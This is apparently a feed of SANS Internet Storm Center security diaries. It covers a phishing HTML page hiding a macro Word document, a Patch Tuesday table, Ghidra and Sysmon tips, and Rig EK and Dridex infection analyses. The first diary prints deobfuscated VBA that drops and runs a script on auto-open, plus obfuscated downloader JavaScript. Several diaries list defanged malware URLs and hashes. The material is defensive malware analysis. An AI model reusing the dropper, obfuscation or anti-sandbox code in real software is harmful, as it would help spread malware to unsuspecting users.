Quantcast
Channel: SANS Internet Storm Center, InfoCON: green
Viewing all 8335 articles
Browse latest View live

Interesting JavaScript Obfuscation Example, (Mon, Jun 10th)

$
0
0

Last Friday, one of our reader (thanks Mickael!) reported to us a phishing campaign based on a simple HTML page. He asked us how to properly extract the malicious code within the page. I did an analysis of the file and it looked interesting for a diary because a nice obfuscation technique was used in a Javascript file but also because the attacker tried to prevent automatic analysis by adding some boring code. In fact, the HTML page contains a malicious Word document encoded in Base64. HTML is wonderful because you can embed data into a page and the browser will automatically decode it. This is often used to deliver small pictures like logos:

<img src="data:image/png;base64,[your_base_64_encode_picture]”>

Of course, the technique is the same to create links. That’s the technique used in this HTML page:

<a id="94dff0cf657696" href="data:&#97;pplic&#97;tion&sol;msword;base64,[base64_data]" download="PurchaseSummary.docm" target="_blank">&#100;ownloa&#100;</a>

Note that you can specify the name of the downloaded file ('PurchaseSummary.docm') and its MIME type ('application/msword'). This technique prevents the file to be processed by antivirus, proxies, etc. The web page looks like this once loaded in a browser:

To extract Base64-encoded strings from a file, you can use Didier’s tool base64dump. In this case, it won’t work out of the box, because the Base64 string is polluted with HTML encode characters! The attacker just replaced some characters by their HTML value: 

'&#99;' -> 'c'
'&#97;' -> 'a'
'&sol; -> '/'

 

Why only this letter? No idea but it's easy to fix. Let’s convert them on the fly and now we can find interesting Base64 strings:

remnux@remnux:/tmp$ cat System_Authorization_Form_53435_html.2391943 | \
sed 's/&#99;/c/g' | \
sed 's/&#97;/a/g' | \
sed 's/&sol;/\//g' | \
base64dump.py -n 5000
ID  Size    Encoded          Decoded          MD5 decoded                     
--  ----    -------          -------          -----------   
 1:  276516 UEsDBBQABgAIAAAA PK..........!.[  b809f8cdd3b47daf44483efaf73b2a6b
                  

The first stream looks interesting because we see the beginning of a ZIP file, that's our Word document. Let’s decode it:

remnux@remnux:/tmp$ cat System_Authorization_Form_53435_html.2391943.html | \
sed 's/&#99;/c/g'|sed 's/&#97;/a/g'|sed 's/&sol;/\//g' | \
base64dump.py -n 5000 -s 1 -d >malicious.docm
remnux@remnux:/tmp$ file malicious.docm
malicious.docm: Microsoft Word 2007+
remnux@remnux:/tmp$ unzip -t malicious.docm
Archive:  malicious.docm
    testing: [Content_Types].xml      OK
    testing: _rels/.rels              OK
    testing: word/_rels/document.xml.rels   OK
    testing: word/document.xml        OK
    testing: word/vbaProject.bin      OK
    testing: word/media/image1.jpeg   OK
    testing: word/_rels/vbaProject.bin.rels   OK
    testing: word/theme/theme1.xml    OK
    testing: word/vbaData.xml         OK
    testing: word/settings.xml        OK
    testing: docProps/app.xml         OK
    testing: word/styles.xml          OK
    testing: docProps/core.xml        OK
    testing: word/fontTable.xml       OK
    testing: word/webSettings.xml     OK

Let’s have a look at our Word document, it’s a classic document that asks the user to disable standard features to let the macro execute properly:

The macro looks interesting. First, it contains a lot of unneeded code placed into comments:

Sub autoopen()
  Dim y0stwKSRAK0
R1ovvWHwXav = "End Function Set z8RNVW = New I3MKkfUg "
For ccccccccccc1 = 1 To 1000000000
  Dim l7VgEVJS1
  Dim y7FWWreec1
b1tDyphghzzU = " A5bZii = x5RNcWuD & Trim(B1cog.b4TMDx())  E9qmlG = P3PcneQA & Trim(u6zul.k9hXFlIu()) "
    sttttttttrrrrrr = raaaaaaaaanstrrrrrr(3)
k8BSxwyH = "Private Sub Class u0LnXFT  F1BOd = b1CoTMo & Trim(k6DDqKe.w8VCQ())  t9GhgrP = v6IZHz & Trim(N6fDmlo.I8guCAn()) "
a0QbyIquPy = "End Sub If Len(D0iSmR.A9AfR) > 0 Then  "
S1fhDERlhedC = "While Not G7JGyC.x7siMbO "
    If sttttttttrrrrrr = "mmm" Then
  Dim F9OzltwVgSyw5
y1CnbwmVPS = "If Len(R4hUqNnA.U8Xko) > 0 Then  If Len(T3TColVp.u4siG) > 0 Then  Sub s3Qsi  "
F3BWHPonwyJi = "If Len(z4bUPH.J2ClHnJe) > 0 Then  For Each t2BJksf In w0wuX Set L7AABis = Nothing “

Here is the decoded/beautified macro:

Sub autoopen()
  For i = 1 To 1000000000
    s = get_random_string(3)
    If s = "mmm" Then
      opentextfile
    End If
  Next
End Sub

Sub opentextfile()
  payload = UserForm1.TextBox1.Text
  doc = ActiveDocument.AttachedTemplate.Path
  doc2 = doc
  doc2 = doc2 & Chr(92)
  doc2 = doc2 & get_random_string(7) & ".wsf"
  Open doc2 For Output As #33
  Print #33, payload
  Close #33
  Set WshScript = CreateObject("WScript.Shell")
  D = WshScript.Run(doc2, 1, False)
End Sub

Function get_randon_string(n)
    Dim i, j, m, s, chars
    Randomize
    chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    m = Len(chars)
    For i = 1 To n
      j = 1 + Int(m * Rnd())
      s = s & Mid(chars, j, 1)
    Next
    get_random_string = s
End Function

You can see that, instead of using a call to sleep() to delay the installation of the payload, the macro enters a loop of 1B occurrences and will perform the next infection steps once the randomly generated string is “mmm”. It tested on my sandbox several times and it works! I had to wait between 10 - 30 seconds.

The payload is extracted from a form present in the document ("UserForm1.TextBox1.Text”), dumped on disk and executed. The payload is a Windows Script File (Javascript). The file is quite big for a downloader: 445KB on a singe line! (SHA256: 975011bcc2ca1b6af470ca99c8a31cf0d9204d2f1d3bd666b0d5524c0bfdbf9e). 

Once beautified, the code contains plenty of functions and looks like this:

var fPfEqdoors10 = String[(function() {
      var kejparl_9 = {
        44: "7",
        163: "g",
        259: "f",
        824: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](kejparl_9[824](259));
    })('addition12') + (function() {
      var unwcome_4 = {
        58: "h",
        128: "r",
        217: "c",
        585: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](unwcome_4[585](128));
    })('idea30') + (function() {
      var wiqparli_8 = {
        32: "d",
        182: "o",
        244: "b",
        926: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](wiqparli_8[926](182));
    })('addition12', 'being85', 'evades38') + (function() {
      var hpslivel_6 = {
        99: "k",
        198: "p",
        293: "m",
        535: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](hpslivel_6[535](293));
    })('being55', 'simple80', 'allow29', 'tactless28') + (function() {
      var uuurelat_5 = {
        93: "t",
        167: "C",
        295: "n",
        605: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](uuurelat_5[605](167));
    })('into78', 'Asimov96', 'must20', 'named30') + (function() {
      var hujthei_8 = {
        13: "h",
        183: "e",
        316: "k",
        603: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](hujthei_8[603](13));
    })('what7') + (function() {
      var ekerooms_9 = {
        91: "s",
        111: "a",
        323: "s",
        504: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](ekerooms_9[504](111));
    })('first65') + (function() {
      var iuiagain_6 = {
        63: "i",
        121: "r",
        338: "c",
        558: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](iuiagain_6[558](121));
    })('declarations33', 'provided43', 'second43') + (function() {
      var jwvandpu_6 = {
        35: "j",
        166: "C",
        244: "b",
        876: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](jwvandpu_6[876](166));
    })('while37', 'that88') + (function() {
      var jhelivel_7 = {
        48: "t",
        131: "o",
        384: "9",
        666: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](jhelivel_7[666](131));
    })('being55', 'simple80', 'allow29', 'tactless28') + (function() {
      var jesrela_9 = {
        98: "i",
        173: "d",
        483: "n",
        737: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](jesrela_9[737](173));
    })('into78', 'Asimov96', 'must20') + (function() {
      var puiinth_5 = {
        21: "e",
        194: "g",
        355: "a",
        860: function(val1) {
          return this[val1];
        }
    };
      return this[PbDpbaz('un', true, 'es')](puiinth_5[860](21));
    })('rooted48', 'thus6')](92);
    

Just be scrolling down the code, you can distinguish a pattern. Obfuscated strings are based on functions that return one character at a time and that are concatenated to each others. Example:

function() {
      var kejparl_9 = {
        44: "7",
        163: "g",
        259: "f",
        824: function(val1) {
          return this[val1];
        }
    };
    return this[PbDpbaz('un', true, 'es')](kejparl_9[824](259));
}

The function PbDpbaz() returns the string 'unescape' and function() returns a character from the dictionary 'kejpalr_9'. In this case: 'f' (corresponding to element ‘259’). If you apply this technique to the function above, you will get:

var fPfEqdoors10 = “fromCharCode”;

The complete script is based on this technique and requires a lot of time to be processed by Javascript emulators. I tried to search for occurrences of the following letters ‘h’, ’t’, ’t’, ‘p’ and found the URL used to download the 2nd stage:

var fPfEqbecause57 = "hxxps://185[.]159[.]82[.]237/odrivers/update-9367.php”

As well as parameters:

?oxx=s2
&u=abs&o=&v=&s=floorrandomfloorrandomfloorrandom

The script also implements an anti-sandbox trick. It displays a popup message that could block or delay an automated analysis:

var fPfEqmight1 = "A File Error Has Occurred”;
if(fPfEqthrown7) {
  fPfEqwell7[(function() {
     ...
  })('into78', 'Asimov96')](unescape(fPfEqmight1), 30, unescape(fPfEqmost44), fPfEqconducted9);
}

'fPfEqwell7' is decoded into 'Popup' to display the message to the user for 30".

I was not able to trigger the download of the second stage (probably I was missing some arguments or a specific HTTP header) but, according to VT, the decoded URL downloads a Trickbot.

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

ISC Stormcast For Tuesday, June 11th 2019 https://isc.sans.edu/podcastdetail.html?id=6534, (Tue, Jun 11th)

$
0
0
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

MSFT June 2019 Patch Tuesday, (Tue, Jun 11th)

$
0
0

June 2019 Security Updates

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
ActiveX Data Objects (ADO) Remote Code Execution Vulnerability
%%cve:2019-0888%% No No Less Likely Less Likely Critical 8.8 7.9
Azure DevOps Server Spoofing Vulnerability
%%cve:2019-0996%% No No Less Likely Less Likely Important    
Bluetooth Low Energy Advisory
ADV190016 No No - - Important    
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0989%% No No - - Critical 4.2 3.8
%%cve:2019-0991%% No No - - Critical 4.2 3.8
%%cve:2019-0992%% No No - - Critical 4.2 3.8
%%cve:2019-0993%% No No - - Critical 4.2 3.8
%%cve:2019-1002%% No No - - Critical 4.2 3.8
%%cve:2019-1003%% No No - - Critical 4.2 3.8
%%cve:2019-1024%% No No - - Critical 4.2 3.8
%%cve:2019-1051%% No No - - Critical 4.2 3.8
%%cve:2019-1052%% No No - - Critical 4.2 3.8
Comctl32 Remote Code Execution Vulnerability
%%cve:2019-1043%% No No Less Likely Less Likely Important 6.4 5.8
DirectX Elevation of Privilege Vulnerability
%%cve:2019-1018%% No No - - Important 7.0 6.3
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-0904%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0905%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0906%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0907%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0908%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0909%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0974%% No No Less Likely Less Likely Important 7.8 7.0
June 2019 Adobe Flash Security Update
ADV190015 No No - - Critical    
Latest Servicing Stack Updates
ADV990001 No No - - Critical    
Local Security Authority Subsystem Service Denial of Service Vulnerability
%%cve:2019-0972%% No No Less Likely Less Likely Important 6.5 5.6
Microsoft Browser Information Disclosure Vulnerability
%%cve:2019-1081%% No No - - Important 4.3 3.9
Microsoft Browser Memory Corruption Vulnerability
%%cve:2019-1038%% No No More Likely More Likely Critical 6.4 5.8
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2019-1054%% No No - - Important 5.0 4.5
Microsoft Exchange Server Defense in Depth Update
ADV190018 No No - -      
Microsoft HoloLens Remote Code Execution Vulnerabilities
ADV190017 No No - - Important    
Microsoft IIS Server Denial of Service Vulnerability
%%cve:2019-0941%% No No Less Likely Less Likely Important 7.5 6.7
Microsoft Office SharePoint XSS Vulnerability
%%cve:2019-1036%% No No Less Likely Less Likely Important    
%%cve:2019-1031%% No No Less Likely Less Likely Important    
%%cve:2019-1032%% No No Less Likely Less Likely Important    
%%cve:2019-1033%% No No Less Likely Less Likely Important    
Microsoft Speech API Remote Code Execution Vulnerability
%%cve:2019-0985%% No No - - Critical 7.8 7.0
Microsoft Windows Security Feature Bypass Vulnerability
%%cve:2019-1019%% No No Less Likely Less Likely Important 8.5 7.6
Microsoft Word Remote Code Execution Vulnerability
%%cve:2019-1034%% No No Less Likely Less Likely Important    
%%cve:2019-1035%% No No Less Likely Less Likely Important    
Scripting Engine Information Disclosure Vulnerability
%%cve:2019-0990%% No No - - Critical 6.5 5.9
%%cve:2019-1023%% No No - - Critical 6.5 5.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0988%% No No More Likely More Likely Critical 7.5 6.7
%%cve:2019-1055%% No No More Likely More Likely Critical 6.4 5.8
%%cve:2019-0920%% No No More Likely More Likely Critical 6.4 5.8
%%cve:2019-1005%% No No More Likely More Likely Important 6.4 5.8
%%cve:2019-1080%% No No More Likely More Likely Critical 6.4 5.8
Skype for Business and Lync Server Denial of Service Vulnerability
%%cve:2019-1029%% No No Less Likely Less Likely Important    
Task Scheduler Elevation of Privilege Vulnerability
%%cve:2019-1069%% Yes No More Likely More Likely Important 7.8 7.0
Win32k Elevation of Privilege Vulnerability
%%cve:2019-1014%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-1017%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-0960%% No No - - Important 7.0 6.3
Windows ALPC Elevation of Privilege Vulnerability
%%cve:2019-0943%% No No More Likely More Likely Important 7.8 7.0
Windows Audio Service Elevation of Privilege Vulnerability
%%cve:2019-1007%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1021%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1022%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1026%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1027%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1028%% No No Less Likely Less Likely Important 7.8 7.0
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2019-0959%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-0984%% No No More Likely More Likely Important 7.0 6.3
Windows Denial of Service Vulnerability
%%cve:2019-1025%% No No More Likely More Likely Important 6.5 5.9
Windows Elevation of Privilege Vulnerability
%%cve:2019-1064%% Yes No More Likely More Likely Important 7.8 7.0
Windows Event Viewer Information Disclosure Vulnerability
%%cve:2019-0948%% No No Less Likely Less Likely Moderate 4.7 4.2
Windows GDI Information Disclosure Vulnerability
%%cve:2019-1009%% No No - - Important 4.7 4.2
%%cve:2019-1010%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-1011%% No No - - Important 4.7 4.2
%%cve:2019-1012%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-1013%% No No - - Important 4.7 4.2
%%cve:2019-1015%% No No - - Important 4.7 4.2
%%cve:2019-1016%% No No - - Important 4.7 4.2
%%cve:2019-1046%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-1047%% No No - - Important 4.7 4.2
%%cve:2019-1048%% No No - - Important 4.7 4.2
%%cve:2019-1049%% No No - - Important 4.7 4.2
%%cve:2019-1050%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0968%% No No - - Important 5.5 5.0
%%cve:2019-0977%% No No - - Important 4.7 4.2
Windows Hyper-V Denial of Service Vulnerability
%%cve:2019-0710%% No No Less Likely Less Likely Important 6.8 6.1
%%cve:2019-0711%% No No Less Likely Less Likely Important 6.8 6.1
%%cve:2019-0713%% No No - - Important 6.8 6.1
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2019-0620%% No No Less Likely Less Likely Critical 7.6 6.8
%%cve:2019-0709%% No No Less Likely Less Likely Critical 7.6 6.8
%%cve:2019-0722%% No No Less Likely Less Likely Critical 8.8 7.9
Windows Installer Elevation of Privilege Vulnerability
%%cve:2019-0973%% Yes No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-1041%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1065%% No No More Likely More Likely Important 7.8 7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-1039%% No No Less Likely Less Likely Important 5.5 5.0
Windows NTLM Tampering Vulnerability
%%cve:2019-1040%% No No Less Likely Less Likely Important 5.3 4.8
Windows Network File System Elevation of Privilege Vulnerability
%%cve:2019-1045%% No No - - Important 7.8 7.0
Windows Secure Kernel Mode Security Feature Bypass Vulnerability
%%cve:2019-1044%% No No - - Important 5.3 4.8
Windows Shell Elevation of Privilege Vulnerability
%%cve:2019-1053%% Yes No More Likely More Likely Important 6.3 5.7
Windows Storage Service Elevation of Privilege Vulnerability
%%cve:2019-0983%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-0998%% No No More Likely More Likely Important 7.8 7.0
Windows User Profile Service Elevation of Privilege Vulnerability
%%cve:2019-0986%% No No More Likely More Likely Important 6.3 5.7
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

ISC Stormcast For Wednesday, June 12th 2019 https://isc.sans.edu/podcastdetail.html?id=6536, (Wed, Jun 12th)

$
0
0
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

What is "THAT" Address Doing on my Network, (Thu, Jun 13th)

$
0
0

Disclosure: ISC does not endorse any one particular vendor. That said, you may recognize what type of firewall I use :)

So this all started with a strange log entry with SYN packet going to a RFC1918 [1] Address. Now, that address is not in regular use on my network, all the more puzzling.

Below is the log entry in question, which indicates it is from my main gaming rig (i7-9700K, 128GB DDR4, (2) GTX1080 SLI, M.2 1TB). This desktop is only really used for gaming, not much browsing and very little else (Discord, etc). So lower risk (at least I thought).

First step I took, was to take a look at a PCAP from the Firewall's view, so I setup my filter on the IP in question as a destination.

Started the capture.

As expected, not much there, just a SYN packet. 

What to do now? To the TCPView [2] BatMAN!!! It took a few moments for the "offending" process to pop up, so this capture was in real-time (or in other words, I clicked the "Capture" button when I saw it).

And yes, my gaming rig is FRANK, and the beauty of letting you see part of my domain name? Is there is an english joke in there somewhere :). So Found the Tobii service as the 'offender.' Tobii Gaming [3] makes eye tracking hardware (fantastic aiming assistant and helps me keep up with those that use mouse/keyboard). This hardware I happen to use when playing some games *cough* Division 2 *cough* so that got less interesting. We need a few more things, but we are starting to draw a conclusion. 

 

Now to break out Process Hacker [4] and dump it out of memory.

Once dumped, we went straight to our reliable 'super expensive'  tools grep and strings (that's sarcasm, they are open source :)...

Running a dump using a couple of switches with grep after sending the dmp through strings, we can see on either side of the IP.

cat <file>| strings | grep -B 10 -A 10 <ip> 

It did produce an interesting artifact, a public key, but cemented the conclusion that this was likely developer code left over in the compile. Let me know what you think? Now that we've taken a look, I plan to update the Tobii engine and suspect that this problem will go away. If there is anyone from Tobii that is reading, thanks for the support!

 

Summary

Not 'every' indicator has to nessessarily be evil and with some basic tools, you can start to put a story together on things. In this case, just the PCAP engine on my firewall, Process Hacker and TCPView, then on my *nix platform, cat, strings and grep. Remember, humans (for now) write most code and we all write perfect code right?

 

[1] https://tools.ietf.org/html/rfc1918

[2] https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview

[3] https://gaming.tobii.com/

[4] https://processhacker.sourceforge.io/

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

ISC Stormcast For Thursday, June 13th 2019 https://isc.sans.edu/podcastdetail.html?id=6538, (Thu, Jun 13th)

$
0
0
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

A few Ghidra tips for IDA users, part 4 - function call graphs, (Fri, Jun 14th)

$
0
0

One of the features of IDA that we use in FOR610 that can be helpful for detecting malicious patterns of API calls is the feature for creating a graph of all function calls called from the current function and any functions that it calls. The graph itself isn't all that pretty to look at, but it allows us to see if all the APIs in a particular pattern (code injection, for example) are made in the proper order. We do this by choosing View > Graphs > 'Xrefs from' in the menus. In IDA, it looks like the following.

When I first went looking for an equivalent in Ghidra, I had a hard time finding it. I eventually found it in the Window menu.

But, when I first ran it, I only saw the functions that call this one (which is nice, you need to do Xrefs to in IDA to see these) and the ones that this function called, so only 1 level deep in each direction. That wasn't going to cut it because sometimes the API calls that we're interested in are buried several levels of calls deep.

However, after looking at it for a while, I discovered that if you righ-click on any node in the bottom row, you get a menu that allows you to extend it another level deeper, by selecting 'Show Outgoing Level Edges'. Okay, this is promising.

After selecting that, I got the following

Those lines are still somewhat confusing, but you can move the individual nodes in the graph around to make the relationships clearer. Also, have I mentioned how nice a big monitor is when you are reversing (in either IDA or Ghidra). And, since you have the control to expand one level at a time, I may even come to like this more than IDA's graph. If the graphs are somewhat confusing to you, though, you can also use the Show Function Call Tree button to bring up a couple of pains that show the same info textually

On the left side are the incoming calls

And on the right, the outgoing calls.

And you can then expand any of the functions which may call other functions (those with the little box in front)

For me, personally, that may work even better, but you may prefer the graph.

I think I'll wrap up this entry here. If you are at SANSFIRE next week, please come to the SANS ISC annual State of the Internet panel on Monday evening in Salon 1. You can also stop by and say 'Hi!' I'll be TA-ing for Lenny Zeltser in FOR610. As with all the other entries in the series if you have other thoughts or tips, feel free to comment here, send me an e-mail, or drop into our slack channel. Until next time, ...

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

ISC Stormcast For Friday, June 14th 2019 https://isc.sans.edu/podcastdetail.html?id=6540, (Fri, Jun 14th)

$
0
0
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Sysmon Version 10: DNS Logging, (Sun, Jun 16th)

$
0
0

Sysmon Version 10.0 brings DNS query logging.

By default, DNS query logging is not enabled. You need to provide a configuration file, like this simple config.xml:

<Sysmon schemaversion="4.21">
  <EventFiltering>
    <DnsQuery onmatch="exclude">
    </DnsQuery>
  </EventFiltering>
</Sysmon>

This config file will log all DNS queries: using onmatch="exclude" without any filters excludes no events at all.

Remark also that the event is DnsQuery (and not DNSQuery as listed on Sysinternals page for Sysmon).

Here is a simple "ping google.com" command, resulting in event 22 being logged in the Sysmon Windows event log:

Remark that event 22 does not only log the DNS query, but also the replies and the program that issued the query.

If you enable DNS logging like I did (not exclusions) in a production environment, you will have too many events. SwiftOnSecurity's Sysmon config can help you exclude many queries that are not important for IR.

Sysmon DNS logging did not work on my Windows 7 VM, but I just noticed that Sysmon version 10.1 was released, I will test this again.

Update: version 10.1 on Windows 7 does not log DNS events.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

ISC Stormcast For Monday, June 17th 2019 https://isc.sans.edu/podcastdetail.html?id=6542, (Mon, Jun 17th)

$
0
0
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

An infection from Rig exploit kit, (Mon, Jun 17th)

$
0
0

Introduction

Rig exploit kit (EK) is one of a handful of EKs still active as reported in May 2019 by Malwarebytes.  Even though EKs are far less active than in previous years, EK traffic is still sometimes noted in the wild.  Twitter accounts like @nao_sec, @david_jursa, @jeromesegura, and @tkanalyst occasionally tweet about EK activity.  Today's diary reviews a recent example of infection traffic caused by Rig EK.

Recent developments

For the past year, Rig EK has been using Flash exploits based on CVE-2018-8174 as noted in this May 2018 blog post from @kafeine.  Since then, other sources have reported Rig EK delivering a variety of malware like the Grobios Trojan or malware based on a Monero cryptocurrency miner.  Like other EKs, Rig EK is most often used in malvertising distribution campaigns.  In today's infection, Rig EK delivered AZORult, and the infection followed-up with other malware I was unable to identify.

Infection traffic

I used a gate from malvertising traffic in a recent tweet from @nao_sec.  See images below for details.


Shown above:  Traffic from the infection filtered in Wireshark.


Shown above:  A closer look at the Rig EK traffic.


Shown above:  Rig EK landing page.


Shown above:  Rig EK sends a Flash exploit.


Shown above:  Rig EK sending its malware payload (encrypted over the network, but decoded on the infected host).


Shown above:  An example of AZORult post-infection traffic.


Shown above:  Follow-up malware EXE retrieved by my infected Windows host.

Indicators of Compromise (IOCs)

Redirect domain that led to Rig EK:

  • 194.113.104[.]153 port 80 - makemoneyeasy[.]live - GET /

Rig EK:

  • 5.23.55[.]246 port 80 - 5.23.55[.]246 - various URLs

AZORult post-infection traffic:

  • 104.28.8[.]132 port 80 - mixworld1[.]tk - POST /mix1/index.php

Infected Windows host retrieved follow-up malware:

  • 209.217.225[.]74 port 80 - hotelesmeflo[.]com - GET /chachapoyas/wp-content/themes/sketch/msr.exe

SHA256 hash: a666f74574207444739d9c896bc010b3fb59437099a825441e6c745d65807dfc

  • File size: 9,261 bytes
  • File description: Flash exploit used by Rig EK on 2019-06-17

SHA256 hash: 2de435b78240c20dca9ae4c278417f2364849a5d134f5bb1ed1fd5791e3e36c5

  • File size: 354,304 bytes
  • File description: Payload sent by Rig EK on 2019-06-17 (AZORult)

SHA256 hash: a4f9ba5fce183d2dfc4dba4c40155c1a3a1b9427d7e4718ac56e76b278eb10d8

  • File size: 2,952,704 bytes
  • File description: Follow-up malware hosted on URL at hotelesmeflo[.]com on 2019-06-17

Final words

My infected Windows host retrieved follow-up malware after the initial AZORult infection.  However, I was using a virtual environment, and I didn't see any further post-infection traffic, so I could not identify the follow-up malware.

A pcap of the infection traffic along with the associated malware and artifacts can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

ISC Stormcast For Tuesday, June 18th 2019 https://isc.sans.edu/podcastdetail.html?id=6544, (Tue, Jun 18th)

$
0
0
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Malspam with password-protected Word docs pushing Dridex, (Tue, Jun 18th)

$
0
0

Introduction

Today's diary reviews a Dridex infection caused by a password-protected Word document that was attached to malicious spam (spam) that I saw on Monday 2019-06-17.

Example of the malspam

The malspam was sent from a spoofed sending address that ended with @bajardepeso.pro.  See the images below for details.


Shown above:  Example of the malspam with an attached password-protected Word doc.


Shown above:  The password-protected Word doc after unlocking it with a password from the malspam.


Shown above:  Characteristics of the password-protected Word doc showing Mark as Final used to prevent editing or changes.


Shown above:  After unlocking the Word document and removing the passwords, I used OfficeMalScanner to extract the malicious macro code.


Shown above:  Macro code extracted from the Word doc shows an artifact saved to C:\Windows\Temp\aXwZvnt48.xsl.


Shown above:  Dridex malware EXE and script stored in the C:\Windows\Temp directory.


Shown above:  More information from C:\Windows\Temp\aXwZvnt48.xsl.

Infection traffic

Infection traffic was typical for what I've seen with previous Dridex infections.  See the below images for details.


Shown above:  Traffic from the infection filtered in Wireshark.


Shown above:  Alerts from traffic during the infection shown in Sguil using Security Onion with Suricata and the EmergingThreats ruleset.


Shown above:  Certificate data used during HTTPS/SSL/TLS traffic caused by Dridex (1 of 2).


Shown above:  Certificate data used during HTTPS/SSL/TLS traffic caused by Dridex (2 of 2).


Shown above:  Filtering in Wireshark to find other IP addresses contacted by the Dridex-infected host.


Shown above:  Encoded TP traffic on 192.190.43[.]95 that doesn't appear to be HTTPS/SSL/TLS traffic.

Forensics on the infected Windows host

Malware and artifacts on the infected Windows host are typical from what I've seen with previous Dridex infections.  Of note, the Dridex DLL files are 64-bit DLLs using file names that are loaded by legitimate Microsoft Windows system EXEs.  These file paths, file names, and associated SHA256 hashes change every time the victim logs onto the infected Windows host.


Shown above:  Dridex persistent on the infected Windows host, with legitimate Microsoft EXE files used to load Dridex DLL files.


Shown above:  Windows registry and task scheduler updates to keep the Dridex infection persistent.


Shown above:  Shortcut in the Windows menu Startup folder to keep the Dridex infection persistent.

Indicators of compromise (IOCs)

Traffic from the infected Windows host

  • 161.117.87[.]198 port 443 (HTTPS) - tor2net[.]com - GET /udfgh87898df87gdfug89df/servicewn.exe
  • 69.164.194[.]184 port 443 - HTTPS/SSL/TLS traffic generated by Dridex
  • 212.237.34[.]105 port 443 - HTTPS/SSL/TLS traffic generated by Dridex
  • 115.112.43[.]81 port 443 - attempted TCP connection, RST by server
  • 89.103.35[.]54 port 443 - attempted TCP connection, RST by server
  • 67.248.61[.]111 port 443 - attempted TCP connection, RST by server
  • 192.190.43[.]95 port 443 - encoded TCP traffic (doesn't look like HTTPS/SSL/TLS)

Malware from the infected windows host:

SHA256 hash: e70be6e4d00a6d86ad639b1927159f35f03857be3fcfeca7fcf1cd37ecc62a3f

  • File size: 261,632 bytes
  • File name: HKL-37689934693.doc
  • File description: Email attachment - password-protected Word doc with malicious macros

SHA256 hash: 1aabefe6d4e6ab3605cf67a61caf7ba37d78b748c3dbdcd564c42f56d81fcb0f

  • File size: 325,912 bytes
  • File location: C:\Windows\Temp\awMiOFl.exe
  • File description: Dridex installer retrieved by malicious macro

SHA256 hash: b113f9b2246ce8c67bde65272b5b604a1ad30317493272f7a622b06e11caa7da

